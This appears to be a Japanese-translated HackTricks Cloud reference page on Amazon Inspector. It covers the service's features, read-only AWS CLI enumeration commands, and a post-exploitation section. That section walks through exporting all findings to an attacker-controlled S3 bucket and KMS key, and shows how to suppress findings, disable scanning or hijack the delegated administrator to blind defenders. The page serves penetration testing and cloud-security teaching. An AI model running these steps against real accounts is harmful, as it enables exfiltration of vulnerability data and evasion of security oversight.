# AWS - Inspector Enum {{#include ../../../../banners/hacktricks-training.md}} ## Inspector Amazon Inspectorは、AWS環境のセキュリティを強化するために設計された高度な自動脆弱性管理サービスです。このサービスは、Amazon EC2インスタンス、Amazon ECRのコンテナイメージ、Amazon ECS、およびAWS Lambda関数を脆弱性や意図しないネットワーク露出のために継続的にスキャンします。堅牢な脆弱性インテリジェンスデータベースを活用することで、Amazon Inspectorは、深刻度レベルや修正推奨を含む詳細な結果を提供し、組織がセキュリティリスクを積極的に特定し対処するのを支援します。この包括的なアプローチは、さまざまなAWSサービス全体で強化されたセキュリティ姿勢を確保し、コンプライアンスとリスク管理を支援します。 ### Key elements #### Findings Amazon InspectorのFindingsは、EC2インスタンス、ECRリポジトリ、またはLambda関数のスキャン中に発見された脆弱性や露出に関する詳細なレポートです。状態に基づいて、Findingsは次のように分類されます: - **Active**: Findingは修正されていません。 - **Closed**: Findingは修正されました。 - **Suppressed**: Findingは1つ以上の**suppression rules**によりこの状態にマークされています。 Findingsは次の3つのタイプにも分類されます: - **Package**: これらのFindingsは、リソースにインストールされたソフトウェアパッケージの脆弱性に関連しています。例としては、古いライブラリや既知のセキュリティ問題を持つ依存関係が含まれます。 - **Code**: このカテゴリには、AWSリソース上で実行されているアプリケーションのコードに見つかった脆弱性が含まれます。一般的な問題は、セキュリティ侵害を引き起こす可能性のあるコーディングエラーや不安全なプラクティスです。 - **Network**: Network findingsは、攻撃者によって悪用される可能性のあるネットワーク構成の潜在的な露出を特定します。これには、オープンポート、不安全なネットワークプロトコル、および誤設定されたセキュリティグループが含まれます。 #### Filters and Suppression Rules Amazon InspectorのFiltersとsuppression rulesは、Findingsの管理と優先順位付けを支援します。Filtersを使用すると、深刻度やリソースタイプなどの特定の基準に基づいてFindingsを絞り込むことができます。Suppression rulesを使用すると、低リスクと見なされる、すでに軽減された、またはその他の重要な理由により、特定のFindingsを抑制し、セキュリティレポートの過負荷を防ぎ、より重要な問題に集中できるようにします。 #### Software Bill of Materials (SBOM) Amazon InspectorのSoftware Bill of Materials (SBOM)は、ソフトウェアパッケージ内のすべてのコンポーネント(ライブラリや依存関係を含む)を詳細に示すエクスポータブルなネストされたインベントリリストです。SBOMは、ソフトウェアサプライチェーンの透明性を提供し、より良い脆弱性管理とコンプライアンスを可能にします。オープンソースおよびサードパーティのソフトウェアコンポーネントに関連するリスクを特定し軽減するために重要です。 ### Key features #### Export findings Amazon Inspectorは、FindingsをAmazon S3 Buckets、Amazon EventBridge、およびAWS Security Hubにエクスポートする機能を提供し、特定の日付と時刻に識別された脆弱性や露出の詳細なレポートを生成することを可能にします。この機能は、CSVやJSONなどのさまざまな出力形式をサポートしており、他のツールやシステムとの統合を容易にします。エクスポート機能は、レポートに含まれるデータのカスタマイズを可能にし、深刻度、リソースタイプ、または日付範囲などの特定の基準に基づいてFindingsをフィルタリングし、デフォルトで現在のAWSリージョン内のすべてのActiveステータスのFindingsを含めます。 Findingsをエクスポートする際には、データをエクスポート中に暗号化するためにKey Management Service (KMS)キーが必要です。KMSキーは、エクスポートされたFindingsが不正アクセスから保護されることを保証し、機密の脆弱性情報に対する追加のセキュリティ層を提供します。 #### Amazon EC2 instances scanning Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリティ問題を検出するための強力なスキャン機能を提供します。Inspectorは、EC2インスタンスから抽出されたメタデータをセキュリティアドバイザリーのルールと比較して、パッケージの脆弱性やネットワーク到達性の問題を生成します。これらのスキャンは、アカウントの**scan mode**設定に応じて、**agent-based**または**agentless**の方法で実行できます。 - **Agent-Based**: AWS Systems Manager (SSM)エージェントを利用して、詳細なスキャンを実施します。この方法では、インスタンスから直接データを収集し分析することができます。 - **Agentless**: インスタンスにエージェントをインストールする必要がない軽量な代替手段を提供し、EC2インスタンスの各ボリュームのEBSスナップショットを作成し、脆弱性を探し、その後削除します。既存のAWSインフラストラクチャを利用してスキャンを行います。 スキャンモードは、EC2スキャンを実行するために使用される方法を決定します: - **Agent-Based**: EC2インスタンスにSSMエージェントをインストールして深い検査を行います。 - **Hybrid Scanning**: エージェントベースとエージェントレスの両方の方法を組み合わせて、カバレッジを最大化し、パフォーマンスへの影響を最小限に抑えます。SSMエージェントがインストールされているEC2インスタンスでは、Inspectorはエージェントベースのスキャンを実行し、SSMエージェントがないインスタンスではエージェントレスのスキャンが実行されます。 もう1つの重要な機能は、EC2 Linuxインスタンスのための**deep inspection**です。この機能は、EC2 Linuxインスタンスのソフトウェアと構成の徹底的な分析を提供し、オペレーティングシステムの脆弱性、アプリケーションの脆弱性、誤設定を含む詳細な脆弱性評価を提供し、包括的なセキュリティ評価を確保します。これは、**custom paths**とそのすべてのサブディレクトリの検査を通じて実現されます。デフォルトでは、Amazon Inspectorは以下をスキャンしますが、各メンバーアカウントは最大5つのカスタムパスを定義でき、各委任管理者は最大10個を定義できます: - `/usr/lib` - `/usr/lib64` - `/usr/local/lib` - `/usr/local/lib64` #### Amazon ECR container images scanning Amazon Inspectorは、Amazon Elastic Container Registry (ECR)のコンテナイメージに対する強力なスキャン機能を提供し、パッケージの脆弱性が効率的に検出および管理されることを保証します。 - **Basic Scanning**: これは、オープンソースのClairプロジェクトからの標準的なルールセットを使用して、コンテナイメージ内の既知のOSパッケージの脆弱性を特定する迅速で軽量なスキャンです。このスキャン設定では、リポジトリはプッシュ時にスキャンされるか、手動スキャンが実行されます。 - **Enhanced Scanning**: このオプションは、プッシュスキャンに加えて継続的スキャン機能を追加します。Enhanced scanningは、各コンテナイメージの層をより深く掘り下げて、OSパッケージやプログラミング言語パッケージの脆弱性をより高い精度で特定します。ベースイメージと追加の層の両方を分析し、潜在的なセキュリティ問題の包括的なビューを提供します。 #### Amazon Lambda functions scanning Amazon Inspectorは、AWS Lambda関数およびそのレイヤーに対する包括的なスキャン機能を含み、サーバーレスアプリケーションのセキュリティと整合性を確保します。Inspectorは、Lambda関数に対して2種類のスキャンを提供します: - **Lambda standard scanning**: このデフォルト機能は、Lambda関数およびレイヤーに追加されたアプリケーションパッケージの依存関係におけるソフトウェアの脆弱性を特定します。たとえば、関数が既知の脆弱性を持つpython-jwtのバージョンを使用している場合、Findingが生成されます。 - **Lambda code scanning**: カスタムアプリケーションコードのセキュリティ問題を分析し、インジェクションの欠陥、データ漏洩、弱い暗号化、暗号化の欠如などの脆弱性を検出します。検出された脆弱性を強調するコードスニペットをキャプチャします。Findingsには、問題を修正するための詳細な修正提案とコードスニペットが含まれます。 #### **Center for Internet Security (CIS) scans** Amazon Inspectorは、Amazon EC2インスタンスのオペレーティングシステムをCenter for Internet Security (CIS)からのベストプラクティス推奨に対してベンチマークするCISスキャンを含みます。これらのスキャンは、構成が業界標準のセキュリティベースラインに準拠していることを保証します。 - **Configuration**: CISスキャンは、システム構成が特定のCISベンチマーク推奨に合致しているかどうかを評価し、各チェックはCISチェックIDとタイトルにリンクされています。 - **Execution**: スキャンは、インスタンスタグと定義されたスケジュールに基づいて実行またはスケジュールされます。 - **Results**: スキャン後の結果は、どのチェックが合格、スキップ、または失敗したかを示し、各インスタンスのセキュリティ姿勢に関する洞察を提供します。 ### Enumeration ```bash # Administrator and member accounts # ## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this) aws inspector2 get-delegated-admin-account ## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this) aws inspector2 list-members [--only-associated | --no-only-associated] ## Retrieve information about a member account (ReadOnlyAccess policy is enough for this) aws inspector2 get-member --account-id ## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this) aws inspector2 batch-get-account-status [--account-ids ] ## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this) aws inspector2 batch-get-free-trial-info --account-ids ## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator) aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids ] ## List an account's permissions associated with AWS Inspector aws inspector2 list-account-permissions # Findings # ## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this) aws inspector2 list-findings ## Retrieve vulnerability intelligence details for the specified findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) aws inspector2 get-findings-report-status --report-id # CIS # ## List CIS scan configurations (ReadOnlyAccess policy is enough for this) aws inspector2 list-cis-scan-configurations ## List the completed CIS scans (ReadOnlyAccess policy is enough for this) aws inspector2 list-cis-scans ## Retrieve a report from a completed CIS scan aws inspector2 get-cis-scan-report --scan-arn [--target-accounts ] ## Retrieve details about the specific CIS scan over the specified resource aws inspector2 get-cis-scan-result-details --account-id --scan-arn --target-resource-id ## List CIS scan results broken down by check aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn ## List CIS scan results broken down by target resource aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn # Configuration # ## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this) aws inspector2 describe-organization-configuration ## Retrieve the configuration settings about EC2 scan and ECR re-scan aws inspector2 get-configuration ## Retrieve EC2 Deep Inspection configuration associated with your account aws inspector2 get-ec2-deep-inspection-configuration # Miscellaneous # ## Retrieve the details of a Software Bill of Materials (SBOM) report aws inspector2 get-sbom-export --report-id ## Retrieve the coverage details for the specified vulnerabilities aws inspector2 search-vulnerabilities --filter-criteria ## Retrieve the tags attached to the specified resource aws inspector2 list-tags-for-resource --resource-arn ## Retrieve the AWS KMS key used to encrypt the specified code snippets aws inspector2 get-encryption-key --resource-type --scan-type ## List the filters associated to your AWS account aws inspector2 list-filters ## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this) aws inspector2 list-coverage ## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this) aws inspector2 list-coverage-statistics ## List the aggregated usage total over the last 30 days aws inspector2 list-usage-totals [--account-ids ] ### INSPECTOR CLASSIC ### ## Assessments info, there is a "describe" action for each one to get more info aws inspector list-assessment-runs aws inspector list-assessment-targets aws inspector list-assessment-templates aws inspector list-event-subscriptions ## Get findings aws inspector list-findings ## Get exclusions aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` ### ポストエクスプロイテーション > [!TIP] > 攻撃者の視点から見ると、このサービスは攻撃者が他のインスタンス/コンテナを侵害するのに役立つ脆弱性やネットワークの露出を見つけるのに役立ちます。 > > しかし、攻撃者はこのサービスを妨害して、被害者が脆弱性(すべてまたは特定のもの)を確認できないようにすることにも興味を持つ可能性があります。 #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` 攻撃者は脆弱性やソフトウェアの材料表(SBOM)の詳細なレポートを生成し、それをあなたのAWS環境から抽出することができます。この情報は、特定の弱点、古いソフトウェア、または安全でない依存関係を特定するために悪用され、標的攻撃を可能にします。 ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` 以下の例は、攻撃者が制御するAmazon S3バケットに、攻撃者が制御するAmazon KMSキーを使用して、Amazon Inspectorからすべてのアクティブな発見を抽出する方法を示しています。 1. **Amazon S3バケットを作成**し、被害者のAmazon Inspectorからアクセスできるようにポリシーを添付します: ```json { "Version": "2012-10-17", "Statement": [ { "Sid": "allow-inspector", "Effect": "Allow", "Principal": { "Service": "inspector2.amazonaws.com" }, "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], "Resource": "arn:aws:s3:::inspector-findings/*", "Condition": { "StringEquals": { "aws:SourceAccount": "" }, "ArnLike": { "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" } } } ] } ``` 2. **Amazon KMSキーを作成**し、被害者のAmazon Inspectorで使用できるようにポリシーをアタッチします: ```json { "Version": "2012-10-17", "Id": "key-policy", "Statement": [ { ... }, { "Sid": "Allow victim Amazon Inspector to use the key", "Effect": "Allow", "Principal": { "Service": "inspector2.amazonaws.com" }, "Action": [ "kms:Encrypt", "kms:Decrypt", "kms:ReEncrypt*", "kms:GenerateDataKey*", "kms:DescribeKey" ], "Resource": "*", "Condition": { "StringEquals": { "aws:SourceAccount": "" } } } ] } ``` 3. **調査結果レポートを作成する** コマンドを実行して、情報を抽出します: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - **潜在的影響**: 詳細な脆弱性およびソフトウェアレポートの生成と外部流出、特定の脆弱性やセキュリティの弱点に関する洞察を得ること。 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` 攻撃者は、指定された脆弱性レポートまたはSBOMレポートの生成をキャンセルし、セキュリティチームが脆弱性やソフトウェア部品表(SBOM)に関するタイムリーな情報を受け取るのを妨げ、セキュリティ問題の検出と修正を遅らせる可能性があります。 ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - **潜在的影響**: セキュリティ監視の中断と、セキュリティ問題のタイムリーな検出および修正の妨害。 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` これらの権限を持つ攻撃者は、どの脆弱性やセキュリティ問題が報告または抑制されるかを決定するフィルタリングルールを操作することができます(**action**がSUPPRESSに設定されている場合、抑制ルールが作成されます)。これにより、セキュリティ管理者から重要な脆弱性が隠され、検出されずにこれらの弱点を悪用しやすくなります。重要なフィルタを変更または削除することで、攻撃者は無関係な発見でシステムを洪水のように inundate し、効果的なセキュリティ監視と対応を妨げることもできます。 ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] # Update aws inspector2 update-filter --filter-arn [--action ] [--filter-criteria ] [--reason ] # Delete aws inspector2 delete-filter --arn ``` - **潜在的影響**: 重要な脆弱性の隠蔽または抑制、または無関係な発見でシステムを洪水のように inundate すること。 #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) 攻撃者はセキュリティ管理構造を大幅に混乱させる可能性があります。 - 委任された管理者アカウントを無効にすることで、攻撃者はセキュリティチームがAmazon Inspectorの設定やレポートにアクセスし管理するのを妨げることができます。 - 無許可の管理者アカウントを有効にすることで、攻撃者はセキュリティ設定を制御し、スキャンを無効にしたり、悪意のある活動を隠すために設定を変更したりする可能性があります。 > [!WARNING] > 無許可のアカウントが委任された管理者になるためには、被害者と同じ組織に所属している必要があります。 > > 無許可のアカウントが委任された管理者になるためには、正当な委任された管理者が無効にされた後、無許可のアカウントが委任された管理者として有効にされる前に、正当な管理者が組織から委任された管理者として登録解除される必要があります。これは次のコマンドで実行できます(**`organizations:DeregisterDelegatedAdministrator`** 権限が必要): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - **潜在的影響**: セキュリティ管理の中断。 #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` 攻撃者は、Amazon Inspector 組織内のメンバーアカウントの関連付けを操作する可能性があります。無許可のアカウントを関連付けたり、正当なアカウントを関連付け解除したりすることで、攻撃者はどのアカウントがセキュリティスキャンや報告に含まれるかを制御できます。これにより、重要なアカウントがセキュリティ監視から除外され、攻撃者がそれらのアカウントの脆弱性を検出されることなく悪用できる可能性があります。 > [!WARNING] > このアクションは、委任された管理者によって実行される必要があります。 ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - **潜在的影響**: セキュリティスキャンからの重要なアカウントの除外により、脆弱性の未検出の悪用が可能になる。 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) `inspector2:Disable` 権限を持つ攻撃者は、指定されたアカウントに対して特定のリソースタイプ(EC2、ECR、Lambda、Lambdaコード)のセキュリティスキャンを無効にすることができ、AWS環境の一部が監視されず、攻撃に対して脆弱な状態になります。さらに、**`inspector2:Enable`** および **`iam:CreateServiceLinkedRole`** 権限を持つことで、攻撃者は疑わしい構成の検出を避けるためにスキャンを選択的に再有効化することができます。 > [!WARNING] > このアクションは、委任された管理者によって実行される必要があります。 ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - **潜在的な影響**: セキュリティ監視における盲点の作成。 #### `inspector2:UpdateOrganizationConfiguration` この権限を持つ攻撃者は、あなたのAmazon Inspector組織の設定を更新でき、新しいメンバーアカウントに対して有効なデフォルトのスキャン機能に影響を与えます。 > [!WARNING] > このアクションは、委任された管理者によって実行される必要があります。 ```bash aws inspector2 update-organization-configuration --auto-enable ``` - **潜在的影響**: 組織のセキュリティスキャンポリシーと設定を変更すること。 #### `inspector2:TagResource`, `inspector2:UntagResource` 攻撃者は、AWS Inspectorリソースのタグを操作することができ、これはセキュリティ評価の整理、追跡、自動化にとって重要です。タグを変更または削除することで、攻撃者はセキュリティスキャンから脆弱性を隠し、コンプライアンス報告を妨害し、自動修復プロセスに干渉する可能性があり、これにより未チェックのセキュリティ問題やシステムの整合性の侵害が生じる可能性があります。 ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` - **潜在的影響**: 脆弱性の隠蔽、コンプライアンス報告の中断、セキュリティ自動化の中断、コスト配分の中断。 ## 参考文献 - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}}